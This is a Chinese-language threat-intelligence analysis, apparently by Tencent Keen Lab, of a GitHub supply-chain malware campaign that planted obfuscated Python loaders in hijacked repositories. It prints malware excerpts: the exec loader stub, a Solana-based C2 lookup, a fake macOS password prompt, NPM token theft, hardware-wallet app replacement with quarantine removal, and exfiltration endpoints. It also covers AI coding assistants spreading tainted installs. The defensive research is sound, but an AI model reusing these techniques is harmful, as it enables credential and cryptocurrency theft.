寄生克隆 | 当 AI 助手成为蠕虫的传播加速器:Vibe Coding 时代的供应链危机
腾讯安全科恩实验室威胁情报团队近期在日常运营发现一个高度可疑的开源仓库:github.com/zypsvl/tahmin-uygulamasi。
这原本是一个再正常不过的 Streamlit 数据分析项目。有着中规中矩的 README、符合逻辑的代码结构和正常的提交历史。项目的原作者也是一位普通的开发者——在毫不知情的情况下,他的代码仓库已经成为了攻击者的武器。
这起事件发生在一个特殊的时代背景下:Vibe Coding 热潮的全面爆发。 随着 Claude Code、Cursor、GitHub Copilot 成为标配,开发者编写代码的姿势正在发生不可逆的迁移。“让 AI 帮我写,让 AI 帮我跑”不仅极大提升了效率,也导致开发者对代码的“人工审查意愿断崖式下降。AI 工具,正在不经意间成为开发者与恶意代码之间危险的“信任中介”。
这并非一个孤立的事件。顺着这个看似正常的仓库向下深挖,我们发现这仅仅是一场针对现代开发者、有组织且极具破坏性的多阶段供应链投毒行动的冰山一角。
1. 第一层伪装:藏在正常代码尾部的混淆代码
首次打开受感染项目的 app.py,你很难在第一时间察觉到异样。
文件的前 94 行是完全正常的 Python Streamlit 框架代码。逻辑清晰,注释合理,任何一个开发者,哪怕是 AI 助手在进行上下文分析时,都会认为这只是一个普通的应用脚本。
然而,从第 95 行开始,画风突变——一段任何人都不会主动去阅读的超长 Base64 字符串,安静地蛰伏在文件末尾。

在传统的开发模式下,git diff 或者人工 Code Review 也许能捕捉到文件末尾的异常追加。但在 Vibe Coding 的场景中,开发者往往通过 AI 助手的终端提示直接执行 git pull 拉取代码并运行。AI 模型由于上下文限制,一般不会主动阅读全文并跳出来警告你:“嘿,这个文件的作者提交时间和 Committer 提交时间存在巨大的差异,且末尾有一段乱码。”
在“AI 说没问题就可以跑”的心理惯性下,这段毒代码就这样大摇大摆地进入了开发者的执行环境。
# -*- coding: utf-8 -*- aqgqzxkfjzbdnhz = __import__('base64') wogyjaaijwqbpxe = __import__('zlib') idzextbcjbgkdih = 134 qyrrhmmwrhaknyf = lambda dfhulxliqohxamy, osatiehltgdbqxk: bytes([wtqiceobrebqsxl ^ idzextbcjbgkdih for wtqiceobrebqsxl in dfhulxliqohxamy]) lzcdrtfxyqiplpd = 'eNq9W1...[Base64_String]...' runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd)) ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih) exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))
为了防止被安全软件静态查杀,攻击者在这里构建了三层嵌套混淆,每一层都是一道防分析的门:
-
第一层 Base64:将恶意代码伪装成普通的文本“数据”,绕过基于已知恶意关键字的静态扫描。
-
第二层 zlib 压缩:进一步破坏代码的结构特征,降低信息熵,规避基于字符串匹配和熵值检测的杀毒引擎。
-
第三层 XOR 134:动态还原逻辑。密钥
134被硬编码在代码中(变量idzextbcjbgkdih),但被无意义的随机变量名所掩盖。
最后,通过 exec(compile(...)) 直接在内存中编译执行载荷,确保明文的恶意代码永不落地到硬盘上。
2. 剥开混淆:解码后的 Python 载荷
当我们用脚本剥开这三层外衣,还原出真实的 Python 载荷时,一个架构成熟、极其克制的高级后门展现在我们面前。
2.1 规避与反分析:克制的猎手
这段代码有着多重对抗机制。
首先是沙箱规避:主函数启动后直接调用 await asyncio.sleep(10)。这简单的 10 秒延时,足以耗尽大量自动化分析沙箱的执行时间限制,让沙箱得出“无恶意行为”的结论。
# Ждем 10 секунд перед выполнением (执行前等待 10 秒) await asyncio.sleep(10) # Проверка на русскую систему (检查是否为俄罗斯系统) if _isRussianSystem(): print("Russian system detected, skipping execution") return def_isRussianSystem(): # Проверка языка системы (检查系统语言) username = os.getenv("USERNAME") or os.getenv("USER") or"" lang = os.getenv("LANG", "") language = os.getenv("LANGUAGE", "") lc_all = os.getenv("LC_ALL", "") # ...[检测 ru_RU, russian 等字符串]...
更值得注意的是其内置的地理围栏(Geo-fencing) 策略。代码中定义了 _isRussianSystem() 函数,它会细致地提取系统的语言环境变量(LANG, LANGUAGE, LC_ALL)、用户名、本地化设置以及系统时区信息。一旦检测到系统处于俄罗斯或相关俄语区,程序将直接静默退出。结合代码中留下的俄语注释,这是东欧网络犯罪组织的经典操作:绝不感染“自己人”,以此降低被本国执法机构打击的风险。
此外,为了降低自身行为的异常频率,它会在受害者主目录生成 ~/init.json 记录执行时间戳。只有距上次执行超过 2 天,才会启动恶意逻辑——这种极度的克制,使其能长期潜伏在开发者电脑中而不被察觉。
2.2 无法封堵的指挥中心:当 C2 藏进区块链
在追踪它的 C2(命令与控制)服务器时,我们遇到了最棘手的设计。它摒弃了传统的硬编码域名或 IP,而是将 C2 地址藏在了 Solana 区块链上。
代码中硬编码了一个 Solana 钱包地址(BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC),并内置了 9 个公开的 RPC 节点(如 Alchemy, Tatum 等)以保证极高的高可用性。攻击者只需要向这个钱包发送一笔交易,将新 C2 的加密 URL 写在交易的 Memo 字段中。脚本会遍历查询该地址的交易签名(getSignaturesForAddress),解析 Memo 数据并提取下阶段载荷的下载链接。
whilenot memo: signatures = await _getSignFAddress( "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC", {"limit": 1000} ) ifnotisinstance(signatures, list) orlen(signatures) == 0: await asyncio.sleep(10) continue # Фильтрация транзакций с memo (过滤带有 memo 的交易) memo_transactions = [x for x in signatures if x and x.get("memo")] if memo_transactions: memo = memo_transactions[0]["memo"]

传统的基于域名的 C2 一旦被安全厂商发现,很快就会被 DNS 阻断。但区块链是一个永不下线的公告板,任何人都无法删除链上的交易记录。当旧的 C2 暴露被封禁时,攻击者只需发一笔链上交易,就能指挥全球所有被感染的机器切换到新地址,而无需修改任何已部署的恶意代码。
2.3 静默入场:无感知的 Node.js 运行时投递
由于下一阶段的恶意载荷为 JavaScript,为了确保极高的跨平台兼容性,攻击者做了一个大胆的决定:自带运行环境。
脚本会根据当前操作系统的平台(Windows/Darwin/Linux)及架构(x86/arm64),动态拼接并下载官方 Node.js v22.9.0 的压缩包。它会将压缩包下载至用户的主目录(~)并直接解压调用。整个过程不需要系统管理员权限,也不会触发任何系统安装弹窗,真正做到了“静默入场”。
# Определяем URL для скачивания в зависимости от платформы (根据平台确定下载 URL) system = platform.system() machine = platform.machine().lower() if system == "Windows": if"amd64"in machine or"x86_64"in machine or"x64"in machine: url = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip" # ... elif system == "Darwin": if"arm"in machine or"aarch64"in machine: url = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-darwin-arm64.tar.gz" # ...
更巧妙的是其对抗网络流量审计的AES 分离密钥机制。
在向 C2 请求后续 JS 载荷时,HTTP 响应体(Body)里是被加密混淆的 JS 代码(uezupbxi)。而解密它所需的密钥 iv 和 secretKey,却被 Base64 编码后藏在了 HTTP 的响应头(Header)中(键名为 aXZiYXNlNjQ= 和 c2VjcmV0a2V5)。
传统依靠分析 Body 载荷的安全沙箱将无法解开此加密块——Body 和 Header 必须同时捕获并关联才能还原完整载荷,这种网络协议层的“骨肉分离”设计,实现了高强度的 Bypass。
2.4 隐蔽执行:不留痕迹的交接
为了执行这段费尽心机传进来的 JS 代码,Python 脚本会在当前目录动态生成一个中转 JS 文件 i.js。
在调用刚才下载的 Node.js 执行它时,如果是在 Windows 环境下,木马会特意通过 creationflags=subprocess.CREATE_NO_WINDOW 标志启动进程。这个参数的唯一作用,就是防止在启动 Node.js 时闪过哪怕一瞬间的黑色命令行窗口。此外,它还会附带特异性的 HTTP 请求头 os: <platform> 从服务端获取专属平台的载荷。
# Выполняем JS файл через Node.js (通过 Node.js 执行 JS 文件) subprocess.Popen( [node_exe, js_file_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW if platform.system() == "Windows" else0, )
从 Python 到 Node.js 的接力,就这样悄无声息完成了。
3. 终极载荷:一次性掠夺你的数字资产
当 JavaScript 载荷在内存中解密并执行时,它不再小心翼翼。它是一台针对现代开发者数字资产和供应链权限量身定制的收割机,执行着极其冷酷的掠夺逻辑。
3.1 骗取 Root:一个假弹窗的代价
为了在 macOS 系统中执行高危操作(如替换系统级别的应用程序),木马需要 root 权限。
它没有选择硬核的提权漏洞,而是采用了一种极具欺骗性的社会工程学手段:使用 AppleScript 弹出一个伪造的系统授权对话框。
repeat set result to display dialog "Required Application Helper. Please enter password for continue."default answer ""with icon caution buttons {"Continue"} default button "Continue" giving up after 150with title "Application wants to install helper"with hidden answer set password_entered to text returned of result ifcheckvalid(username, password_entered) then -- 验证成功后,将密码保存至本地,供后续高危操作使用 savePasswordToKeychain(password_entered) writeText(password_entered, writemind & "pwd") return password_entered end if end repeat
这个弹窗在视觉上与 macOS 原生授权弹窗如出一辙。在“刚刚运行了一个开源项目”的语境下,受害者往往会认为这是环境安装过程中正常的权限请求。一旦受害者输入了开机密码,这就成了开启灾难的万能钥匙。
3.2 静默“勿扰模式”
在拿到密码并准备开始大量打包文件、发起异常网络请求前,代码执行了这样一条系统级命令: defaults write com.apple.notificationcenterui doNotDisturb -boolean true
这会强制开启 macOS 的“勿扰模式”。攻击者的心思缜密到了极点——他们担心在后续的数据外传过程中,系统防火墙或安全软件的报警弹窗会惊动受害者,因此提前屏蔽了所有的系统通知。
3.3 高价值数据收割机
接下来,木马开始在后台疯狂搜刮任何有价值的数据:
-
浏览器全家桶劫持:遍历 Safari, Chrome, Edge, Brave 等所有主流浏览器,打包窃取 Cookies、浏览历史以及本地密码数据库(
Login Data)。 -
加密资产收割机:精准定位并窃取超过 40 种 Web3 浏览器插件(如 MetaMask, Phantom)的
IndexedDB存储目录,以及桌面端冷钱包(如 Electrum, Exodus, Wasabi)的本地数据。 -
开发者核心命脉:窃取
~/.ssh/下的所有私钥对、~/.aws/云环境凭证。甚至扫描 Desktop、Documents、Downloads 文件夹,搜刮所有小体积的高敏文档(.key,.wallet,.pdf)。
3.4 供应链纵深打击:你的 Token 沦为下一轮传播的起点
对于攻击者而言,普通开发者最值钱的往往不是加密货币,而是他们的生态信任。木马内置了专门的 Handler 模块,用于窃取 GitHub 和 NPM 的访问令牌(Token)。
它不仅扫描 .git-credentials,还会精准提取 VSCode 插件缓存在全局状态中的鉴权 Token。以 NPM 令牌窃取模块为例,代码不仅窃取 Token,还会实时向官方 API 验证其有效性:
varNpmTokenHandler = class { getFromNpmrcFile() { try { const npmrcPath = path.join(os2.homedir(), ".npmrc"); if (fs.existsSync(npmrcPath)) { const content = fs.readFileSync(npmrcPath, "utf8"); const tokenMatch = content.match(/_authToken=(.+)/); if (tokenMatch) return tokenMatch[1].trim(); } returnnull; } catch (error) { returnnull; } } asyncverifyToken() { try { const response = awaitfetch(`https://registry.npmjs.org/-/whoami`, { headers: { Authorization: `Bearer ${this.token}`, "Content-Type": "application/json" } }).then((res) => res.json()); return { valid: true, username: response, token: this.token }; } catch (error) { return { valid: false }; } } };
有效的高权限 Token,将被攻击者直接用于横向扩散——用受害者的名义,向其维护的开源仓库继续投毒。被感染的开发者在不知情的情况下,被迫成为了下一批受害者的传播源。
3.5 最阴险的一击:狸猫换太子
如果在受害者的电脑里发现了 Ledger Live 或 Trezor Suite (两大著名硬件冷钱包的桌面客户端),木马将展现出它最令人不安的一面。
on installWallet(walletType, baseURL, installDir) if walletType is"trezor" then set downloadURL to baseURL &"darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=trezor" set appsToRemove to {"/Applications/Trezor Suite.app"} elseif walletType is"ledger" then set downloadURL to baseURL &"darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=ledger" set appsToRemove to {"/Applications/Ledger Live.app", "/Applications/Ledger Wallet.app"} end if --... [省略:下载黑客服务器上带有后门的伪造同名应用 ZIP] ... repeat with appPath in appsToRemove if (do shell script "test -d "& quoted form of appPath &" && echo exists || echo not_found") is"exists" then my removeExistingApp(appPath) -- 杀掉进程并强行删除官方正版 App end if end repeat -- 移除被覆盖写入的恶意 App 的 macOS 安全隔离标记 do shell script "xattr -c "& quoted form of extractedApp &" 2>/dev/null || true" do shell script "xattr -dr com.apple.quarantine "& quoted form of extractedApp &" 2>/dev/null || true" end installWallet
这是整个攻击链中破坏力最大、隐蔽性最强的环节。木马利用前面骗到的 root 权限,在后台强行卸载了正版的硬件钱包客户端,并将黑客特制的后门版客户端(带钓鱼表单收集助记词)覆盖到原路径。
它甚至细致到移除了 macOS 的 com.apple.quarantine 隔离标记,以防受害者打开被替换的 App 时弹出“应用是从互联网下载”的安全警告。冷钱包本是防御网络攻击的最后堡垒,但在这种级别的终端控制面前,就算是“冷钱包”也很难逃脱收割。
3.6 持久驻留与数据外传
在完成所有的洗劫和替换后,木马将战利品打包为 /tmp/out.zip,并以 HTTP POST 方式传输出境(如 208.76.223.59/p2p)。同时,它向 macOS 系统写入了一个 LaunchAgents 启动项(com.user.nodestart.plist),确保电脑每次开机,它都能自行启动。
4. 溯源拓线:一个变量名,暴露了数百个感染仓库
分析完样本后,我们尝试将其中一个混淆变量dfhulxliqohxamy输入到 GitHub 的全局代码搜索中——
返回的结果,让我们瞬间沉默。
数百个仓库的 app.py 或 setup.py 中,赫然包含着完全相同的 Base64 毒代码。横跨了数百个不同的 GitHub 开发者账户,涵盖了 Django 项目、机器学习研究代码、Flask API 乃至各种 PyPI 辅助包。
这不是个案,这是一场有组织的血洗。
我们分析了这些被感染的仓库(如 amirasaran/django-restful-admin),发现了攻击者注入代码的手法:Force-Push(强制推送)。
攻击者利用窃取来的合法开发者 GitHub Token,在本地修改代码后,使用 --force 选项直接覆盖远程仓库的历史。为了掩人耳目,他们篡改了 Git 的 Author Date(作者提交时间)以伪装成过去的正常提交。但他们自动化工具链的疏忽,留下了无法抹除的指纹——Committer Date(提交者时间)与 Author Date 往往相差几个月甚至数年;且 Committer 的邮箱,被统一设置为了字符串 "null"。

Vibe Coding 场景:AI 工具成为传播加速器
当我们复盘这些受感染的仓库是如何造成二次传播时,我们发现了 AI 时代供应链攻击的另一个致命推手。
在遇到某个缺少文档的开源库时,现今的开发者往往会直接问 Cursor 或 Claude:“帮我写个脚本引入这个功能,并告诉我怎么安装。” 为了“方便”,AI 助手经常会跳过官方包管理器的复杂校验,直接生成如下指令: pip install git+https://github.com/amirasaran/django-restful-admin.git
开发者习惯性地复制、粘贴、回车。没有代码审查,没有安全警告,被污染的代码借由 AI 工具的“便利性”,顺理成章地跑在了更多开发者的电脑上。
这构成了这场供应链蠕虫攻击的完美闭环:

5. 关联外部报告:我们的发现与行业情报高度吻合
随着溯源的深入,我们将此次攻击关联到了近期安全社区密切追踪的 GlassWorm / ForceMemo 恶意活动。我们独立分析的样本特征,与 StepSecurity、Aikido 等安全机构披露的情报在技术细节上高度吻合,这也从宏观侧面印证了这场猎杀行动的庞大规模。
时间线还原:
-
2025 年 11 月 – 2026 年 2 月:攻击者在 Solana 链上部署 C2 基础设施,早期主要活跃在 Vultr 托管的服务器上,频繁通过链上 Memo 交易更新下发载荷的 URL。
-
2026 年 3 月初(GlassWorm 爆发):Aikido 报告指出,大量恶意 VSCode/Cursor 扩展被植入针对开发者的远控木马,成为供应链感染的“零号病人”。
-
2026 年 3 月中(ForceMemo 波次):正如我们所分析的样本,攻击者利用前期窃取的 Token,通过账号劫持和 Force-Push,批量污染了超过 240+ 个高星 Python 仓库(StepSecurity 披露数据)。
链上暴露的基础设施与极高的 ROI: 我们通过追踪样本中硬编码的 Solana 钱包地址,还原了其 2026 年 2 月底在链上暴露的完整 C2 配置:
{ "c2server":"http://217.69.11.99:5000", "checkIp":"http://217.69.11.99", "dht_data":"217.69.11.99:10000" }
6. 受害者画像:这颗子弹,专门为你铸造
这场行动影响最近直接的目标,毫无疑问是——现代全栈开发者与 AI/Web3 极客。
-
经济价值维度:攻击者深知,在这个时代,程序员群体的电脑是离加密货币最近的地方。同时兼具热钱包(MetaMask)和冷钱包(Ledger/Trezor 桌面端)管理习惯的开发者,是他们眼中的“肥羊”。
-
技术依赖度维度:高度依赖 NPM、GitHub、VSCode 生态。习惯于直接调用开源包,习惯于用命令行管理鉴权 Token。攻击者正是利用了这种技术习惯,将开发者变成了最好的“宿主”和“传播节点”。
-
行业属性维度:Web3 开发者、AI 大模型应用开发者、独立 Hacker——这类人群由于业务需求,往往有着极高的开源社区活跃度,且代码拉取行为频繁,完美落入攻击手法的覆盖范围。
7. 威胁指标 (IoCs) 汇总表
|
|
|
|
|---|---|---|
| XOR 密钥 | 134 |
app.py 混淆载荷 |
| 混淆特征 | dfhulxliqohxamy
lzcdrtfxyqiplpd |
|
| 加密货币地址 | BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC |
|
| 文件路径 | ~/init.json
%USERPROFILE%\init.json |
|
| 启动项留存 | ~/Library/LaunchAgents/com.user.nodestart.plist |
|
| 网络请求头 | os: <platform> |
|
| 网络响应头 | ivbase64
secretkey |
|
| C2 外发地址 | 208.76.223.59/p2p
208.85.20.124/wall |
/tmp/out.zip 的窃密服务器 IP |
| C2 载荷分发 | 217.69.0.159
45.76.44.240217.69.11.99 |
|
本次攻击事件影响范围较广,我们呼吁有使用Vibe Coding工具的开发者,请立即在终端执行以下检查:
# 检查项目目录是否存在恶意标记变量 grep -r "lzcdrtfxyqiplpd" . # 检查是否有异常的后台 Node.js 安装 ls -la ~/node-v22* # 检查恶意频率控制文件 cat ~/init.json # 检查 macOS 的恶意外挂服务 ls ~/Library/LaunchAgents/com.user.nodestart.plist
(一旦中招或使用过 Ledger/Trezor 桌面端,请立刻断网、重新在官网验证签名下载应用,并吊销重置所有的 GitHub/NPM Token 及云凭证。)
8. 结语:氛围编程时代,信任是最贵的漏洞
本次行动的可怕之处,不在于其恶意代码有多么精妙和难以检测。其真正的杀伤力,在于它精准捕获了 Vibe Coding 时代的脆弱性。
AI 编程工具极大地降低了代码编写的门槛,也同时降低了安全审查的心理防线。开发者越来越倾向于“信任”AI,而 AI 又默认“信任”了那些看似官方的 GitHub 仓库。在这条不断延长的信任链条中,攻击者只需在一端轻轻注入一滴毒液,污染就会借由便利的工具,瞬间流传至成百上千台主机的血管中。
供应链攻击的根本土壤,是“信任的传递性”——你信任的人的仓库,可能已经不再属于他。
在这个“回车即运行”、AI 替你接管一切的时代,当你敲下 pip install 或者按下 Claude 的 Accept 按钮时,请记住: 你引入的不仅是一段代码,更是整条信任链上所有开发者的安全底线。而在氛围编程时代,盲目的信任,就是最昂贵的零日漏洞。
针对OpenClaw安全风险,腾讯推出多场景安全防护矩阵:
本地个人:
腾讯电脑管家 18.0 版本提供「龙虾管家-AI安全沙箱」,无需复杂配置、一键即可为 “龙虾” 开启隔离运行环境,并通过AI实时运行保护和漏洞防护,实现 “龙虾” 的全流程防护。
本地企业:
腾讯iOA提供 “威胁源头——执行过程——数据出口” 全链路龙虾防护
云端部署:
Lighthouse原生安全 Lighthouse与腾讯云ClawPro自带云端物理防爆箱:环境隔离、最小化端口放行、一键快照回滚AI Agent安全中心 盘点AI Agent资产,管控Agent行为,防范skills风险,保护密钥凭据,深度审计和全链路溯源AI Agent安全网关 AI Agent身份凭据安全,防提示词注入,内容安全,数据防泄露,Token限流Agent Runtime 提供VM级强隔离、网络隔离、文件隔离、零凭证访问等能力,支持数十万实例并发
Skills安全:
EdgeOne ClawScan 一句话即可让龙虾自己安装,自动 “体检” 并输出报告
HaS Anonymizer 隐私保护,支持文本 / 图片信息扫描、脱敏和还原
威胁情报中心 Skills安全检测,构建覆盖互联网威胁发现与未知样本检测的全方面防护能力

腾讯将持续跟进AI时代面临的新型威胁态势,为拥抱AI的每位用户保驾护航。
附录:参考链接
-
StepSecurity: ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push (2026-03-14)
https://www.stepsecurity.io/blog/forcememo-hundreds-of-github-python-repos-compromised-via-account-takeover-and-force-push
-
Aikido: GlassWorm Hides a RAT Inside a Malicious Chrome Extension (2026-03-18)
https://www.aikido.dev/blog/glassworm-chrome-extension-rat
-
BleepingComputer: GlassWorm malware hits 400+ code repos on GitHub, npm, VSCode, OpenVSX (2026-03-17)
https://www.bleepingcomputer.com/news/security/glassworm-malware-hits-400-plus-code-repos-on-github-npm-vscode-openvsx/
-
SC World: GlassWorm campaign evolves: ForceMemo attack targets Python repositories via stolen GitHub tokens (2026-03-17)
https://www.scworld.com/brief/glassworm-campaign-evolves-forcememo-attack-targets-python-repositories-via-stolen-github-tokens
-
AlphaHunt: [DEEP RESEARCH] How Malware Uses Solana and EVM Chains to Rotate C2 Without Burning Infrastructure (2026-03-19)
https://blog.alphahunt.io/deep-research-how-malware-uses-solana-and-evm-chains-to-rotate-c2-without-burning-infrastructure/
夜雨聆风